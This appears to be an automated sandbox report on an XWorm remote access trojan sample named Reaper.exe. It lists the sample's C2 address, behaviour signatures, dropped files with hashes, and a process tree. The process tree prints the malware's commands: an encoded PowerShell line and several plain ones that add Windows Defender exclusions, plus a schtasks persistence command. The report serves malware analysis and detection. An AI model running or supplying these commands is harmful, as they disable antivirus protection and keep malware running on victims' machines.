Resubmissions

20/04/2024, 17:13

240420-vrrwwadh2z10

12/03/2024, 21:36

240312-1f3f5adc5710

10/03/2024, 04:41

240310-fbmjwscd2810

10/03/2024, 04:40

240310-fan2bscc9310

10/03/2024, 04:38

240310-e9wd1scc8210

09/03/2024, 07:38

240309-jghpnsdh8810

Analysis

  • max time kernel
    124s
  • max time network
    134s
  • platform
    windows7_x64
  • resource
    win7-20240215-en
  • resource tags

    arch:x64arch:x86image:win7-20240215-enlocale:en-usos:windows7-x64system
  • submitted
    12/03/2024, 21:36

General

  • Target
    Reaper/Reaper/Reaper.exe
  • Size 8.3MB
  • Sample240312-1f3f5adc57
  • SHA256 0ca306be254d1b3aff02ae559e5649e9f0bb10367f692e132d7da39e6860448d
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • xworm

C2
  • l838.ddns.net:3232

Attributes
  • Install_directory

    %AppData%

  • install_file

    Runtime Broker.exe

Signatures

  • Detect Xworm Payload 2 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Drops startup file 2 IoCs
  • Executes dropped EXE 5 IoCs
  • Loads dropped DLL 13 IoCs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 7 IoCs
  • Suspicious use of WriteProcessMemory 34 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\Reaper\Reaper\Reaper.exe
    "C:\Users\Admin\AppData\Local\Temp\Reaper\Reaper\Reaper.exe"
    1⤵
    • Loads dropped DLL
    • Drops file in Windows directory
    • Suspicious use of WriteProcessMemory
    PID:1804
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHUAZQB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGoAdwBrACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAG4AYwB1ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHMAbABqACMAPgA="
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2144
    • C:\Users\Admin\AppData\Local\Temp\Reaper.exe
      "C:\Users\Admin\AppData\Local\Temp\Reaper.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      PID:2752
    • C:\Users\Admin\AppData\Roaming\Windows Defender Smartscreen.exe
      "C:\Users\Admin\AppData\Roaming\Windows Defender Smartscreen.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:2664
      • C:\Users\Admin\AppData\Roaming\Windows Defender Smartscreen.exe
        "C:\Users\Admin\AppData\Roaming\Windows Defender Smartscreen.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        PID:2792
    • C:\Windows\Runtime broker.exe
      "C:\Windows\Runtime broker.exe"
      2⤵
      • Drops startup file
      • Executes dropped EXE
      • Adds Run key to start application
      • Suspicious behavior: AddClipboardFormatListener
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2872
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\Runtime broker.exe'
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1640
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Runtime broker.exe'
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2892
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Runtime Broker.exe'
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:720
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Runtime Broker.exe'
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:684
      • C:\Windows\System32\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "Runtime Broker" /tr "C:\Users\Admin\AppData\Roaming\Runtime Broker.exe"
        3⤵
        • Creates scheduled task(s)
        PID:952
  • C:\Windows\system32\taskeng.exe
    taskeng.exe {966C3AB3-0944-416F-8FCB-7DF24977D021} S-1-5-21-2248906074-2862704502-246302768-1000:GHPZRGFC\Admin:Interactive:[1]
    1⤵
      PID:2480

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          api-ms-win-core-localization-l1-2-0.dll

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI26642\api-ms-win-core-localization-l1-2-0.dll
          • Size 15KB
          • SHA256 9d4caef81cfa17a92d17f4f412bec75f02c3f36c746c3736374f1bc51ce17154
          • MD5 SHA1 SHA512 SSDEEP

          api-ms-win-core-processthreads-l1-1-1.dll

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI26642\api-ms-win-core-processthreads-l1-1-1.dll
          • Size 13KB
          • SHA256 f898b6033ed993a1d83d095befa6f045e8823d13469000d755496ec2ff5cc50f
          • MD5 SHA1 SHA512 SSDEEP

          api-ms-win-core-timezone-l1-1-0.dll

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI26642\api-ms-win-core-timezone-l1-1-0.dll
          • Size 13KB
          • SHA256 73ceaaa0c05aa62f8629ab074eece8096f2069c772677763c0d85dbf58b06a4d
          • MD5 SHA1 SHA512 SSDEEP

          python311.dll

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI26642\python311.dll
          • Size 1.6MB
          • SHA256 7e1370058177d78a415b7ed113cc15472974440d84267fc44cdc5729535e3967
          • MD5 SHA1 SHA512 SSDEEP

          ucrtbase.dll

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI26642\ucrtbase.dll
          • Size 987KB
          • SHA256 0ef5cc705f0752489ea8f2a79116ca842142cee9f2bbb60ef24e2524b0066a09
          • MD5 SHA1 SHA512 SSDEEP

          E5O4H8RW8CQK6OXJTOHL.temp

          • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\E5O4H8RW8CQK6OXJTOHL.temp
          • Size 7KB
          • SHA256 b37b6b44feecedc0314c3c402cab70fdaa977ac649e728b5894cf252e9c152cb
          • MD5 SHA1 SHA512 SSDEEP

          Windows Defender Smartscreen.exe

          • Path C:\Users\Admin\AppData\Roaming\Windows Defender Smartscreen.exe
          • Size 6.4MB
          • SHA256 bf7e6295b8f2790e57850c6d8a5f80fc0562a5696f252553fd7439cbac57d6f4
          • MD5 SHA1 SHA512 SSDEEP

          Windows Defender Smartscreen.exe

          • Path C:\Users\Admin\AppData\Roaming\Windows Defender Smartscreen.exe
          • Size 5.4MB
          • SHA256 713a5ebbf69ec21df2bc29545095fa09127735432d40d548b42c16fe45c75659
          • MD5 SHA1 SHA512 SSDEEP

          Windows Defender Smartscreen.exe

          • Path C:\Users\Admin\AppData\Roaming\Windows Defender Smartscreen.exe
          • Size 3.8MB
          • SHA256 d1391410a494c340650f9092941fc2a2514c515e83a52dd334842c79dc88fa94
          • MD5 SHA1 SHA512 SSDEEP

          Runtime broker.exe

          • Path C:\Windows\Runtime broker.exe
          • Size 80KB
          • SHA256 2b2cccac0931eedf03f91f48d012f993c9577ed554fdef8cd300438510feaff5
          • MD5 SHA1 SHA512 SSDEEP

          FastColoredTextBox.dll

          • Path \Users\Admin\AppData\Local\Temp\FastColoredTextBox.dll
          • Size 323KB
          • SHA256 ac926c92ccfc3789a5ae571cc4415eb1897d500a79604d8495241c19acdf01b9
          • MD5 SHA1 SHA512 SSDEEP

          Reaper.exe

          • Path \Users\Admin\AppData\Local\Temp\Reaper.exe
          • Size 42KB
          • SHA256 fc69c7aee21fa012c9e9de28e35c20eb9ddf473c0ac0b482faebc203dd97999c
          • MD5 SHA1 SHA512 SSDEEP

          api-ms-win-core-file-l1-2-0.dll

          • Path \Users\Admin\AppData\Local\Temp\_MEI26642\api-ms-win-core-file-l1-2-0.dll
          • Size 13KB
          • SHA256 7f7aa25f8cf3a6ad223075158ffadecdbb2113f199e78bd96c90e59575c02533
          • MD5 SHA1 SHA512 SSDEEP

          api-ms-win-core-file-l2-1-0.dll

          • Path \Users\Admin\AppData\Local\Temp\_MEI26642\api-ms-win-core-file-l2-1-0.dll
          • Size 13KB
          • SHA256 11a86edc5ca1d6a83c1d8709f8c3e69d9a1ff763ba85fecd49adb6647ba0e9a5
          • MD5 SHA1 SHA512 SSDEEP

          Windows Defender Smartscreen.exe

          • Path \Users\Admin\AppData\Roaming\Windows Defender Smartscreen.exe
          • Size 7.8MB
          • SHA256 08b995c990a12834a7712dd237ea2efa85762ac21bb6752c4453381531061a95
          • MD5 SHA1 SHA512 SSDEEP

          Windows Defender Smartscreen.exe

          • Path \Users\Admin\AppData\Roaming\Windows Defender Smartscreen.exe
          • Size 4.9MB
          • SHA256 8b3840af093cd83f1a50c25f6fdd8a0c1db2aca4bf6355e53c0acb00e1c2e311
          • MD5 SHA1 SHA512 SSDEEP

          Windows Defender Smartscreen.exe

          • Path \Users\Admin\AppData\Roaming\Windows Defender Smartscreen.exe
          • Size 5.1MB
          • SHA256 f3b08761145514fb71211cbe1736665b52fdf7fddc603ace7d94f0329b3ea507
          • MD5 SHA1 SHA512 SSDEEP

          Windows Defender Smartscreen.exe

          • Path \Users\Admin\AppData\Roaming\Windows Defender Smartscreen.exe
          • Size 4.9MB
          • SHA256 789683d3b34fec6e53c38ef6cefc1c47a8f533ec0fcba3534adfd39eeccc2385
          • MD5 SHA1 SHA512 SSDEEP

          memory/684-162-0x000007FEEDC50000-0x000007FEEE5ED000-memory.dmp

          memory/684-163-0x0000000002850000-0x00000000028D0000-memory.dmp

          memory/684-164-0x0000000002850000-0x00000000028D0000-memory.dmp

          memory/684-165-0x0000000002850000-0x00000000028D0000-memory.dmp

          memory/684-161-0x0000000002850000-0x00000000028D0000-memory.dmp

          memory/684-160-0x000007FEEDC50000-0x000007FEEE5ED000-memory.dmp

          memory/684-166-0x000007FEEDC50000-0x000007FEEE5ED000-memory.dmp

          memory/720-149-0x000007FEEE5F0000-0x000007FEEEF8D000-memory.dmp

          memory/720-152-0x0000000002C4B000-0x0000000002CB2000-memory.dmp

          memory/720-150-0x0000000002C40000-0x0000000002CC0000-memory.dmp

          memory/720-151-0x0000000002C44000-0x0000000002C47000-memory.dmp

          memory/720-154-0x000007FEEE5F0000-0x000007FEEEF8D000-memory.dmp

          memory/720-148-0x0000000002C40000-0x0000000002CC0000-memory.dmp

          memory/720-146-0x000007FEEE5F0000-0x000007FEEEF8D000-memory.dmp

          memory/1640-120-0x000007FEEE5F0000-0x000007FEEEF8D000-memory.dmp

          memory/1640-118-0x000000001B580000-0x000000001B862000-memory.dmp

          memory/1640-122-0x000007FEEE5F0000-0x000007FEEEF8D000-memory.dmp

          memory/1640-124-0x0000000002850000-0x00000000028D0000-memory.dmp

          memory/1640-123-0x0000000002850000-0x00000000028D0000-memory.dmp

          memory/1640-125-0x0000000002850000-0x00000000028D0000-memory.dmp

          memory/1640-126-0x000007FEEE5F0000-0x000007FEEEF8D000-memory.dmp

          memory/1640-119-0x00000000027F0000-0x00000000027F8000-memory.dmp

          memory/1640-121-0x0000000002850000-0x00000000028D0000-memory.dmp

          memory/2144-86-0x00000000005A0000-0x00000000005E0000-memory.dmp

          memory/2144-108-0x00000000005A0000-0x00000000005E0000-memory.dmp

          memory/2144-109-0x0000000073FF0000-0x000000007459B000-memory.dmp

          memory/2144-111-0x0000000073FF0000-0x000000007459B000-memory.dmp

          memory/2144-107-0x00000000005A0000-0x00000000005E0000-memory.dmp

          memory/2144-101-0x0000000073FF0000-0x000000007459B000-memory.dmp

          memory/2752-147-0x0000000073480000-0x0000000073B6E000-memory.dmp

          memory/2752-18-0x0000000001290000-0x00000000012A0000-memory.dmp

          memory/2752-82-0x0000000073480000-0x0000000073B6E000-memory.dmp

          memory/2752-112-0x0000000004CD0000-0x0000000004D10000-memory.dmp

          memory/2752-105-0x0000000000690000-0x00000000006E8000-memory.dmp

          memory/2792-110-0x000007FEF3E20000-0x000007FEF4409000-memory.dmp

          memory/2872-106-0x000007FEF5AA0000-0x000007FEF648C000-memory.dmp

          memory/2872-113-0x000000001B4D0000-0x000000001B550000-memory.dmp

          memory/2872-172-0x000000001B4D0000-0x000000001B550000-memory.dmp

          memory/2872-153-0x000007FEF5AA0000-0x000007FEF648C000-memory.dmp

          memory/2872-87-0x0000000001050000-0x000000000106A000-memory.dmp

          memory/2892-137-0x0000000002CF0000-0x0000000002D70000-memory.dmp

          memory/2892-135-0x0000000002CF0000-0x0000000002D70000-memory.dmp

          memory/2892-133-0x0000000002860000-0x0000000002868000-memory.dmp

          memory/2892-134-0x000007FEEDC50000-0x000007FEEE5ED000-memory.dmp

          memory/2892-136-0x000007FEEDC50000-0x000007FEEE5ED000-memory.dmp

          memory/2892-132-0x000000001B550000-0x000000001B832000-memory.dmp

          memory/2892-140-0x000007FEEDC50000-0x000007FEEE5ED000-memory.dmp

          memory/2892-138-0x0000000002CF0000-0x0000000002D70000-memory.dmp

          memory/2892-139-0x0000000002CF0000-0x0000000002D70000-memory.dmp